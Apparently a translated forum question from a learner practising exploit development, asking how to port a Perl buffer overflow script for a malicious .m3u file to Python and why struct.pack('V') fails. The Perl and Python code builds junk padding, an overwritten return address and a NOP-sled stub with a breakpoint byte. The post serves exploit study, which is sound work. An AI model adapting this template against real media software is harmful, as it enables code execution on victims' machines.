Недавно я работал над разработкой эксплойтов, чтобы подготовиться к учебному курсу, и у меня возникла проблема с учебником.Я следовал всем учебникам, которые я могу найти, используя Python, в отличие от языка, который использовались в учебниках, из предпочтений.Я пытаюсь все перекодировать, но не могу понять, как перекодировать функцию Perl Pack ().
TL; DR: я пытаюсь перевести это на python:
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);
my $shellcode = "\x90" x 25;
$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25;
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";
Я нашел функцию Python для struct.pack (), но когда я использую
Fuzzed.write(struct.pack('V', 0x773D10A4))
, она останавливает программу и не работает.Что я делаю не так?
Это весь мой исходный код
import struct
Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)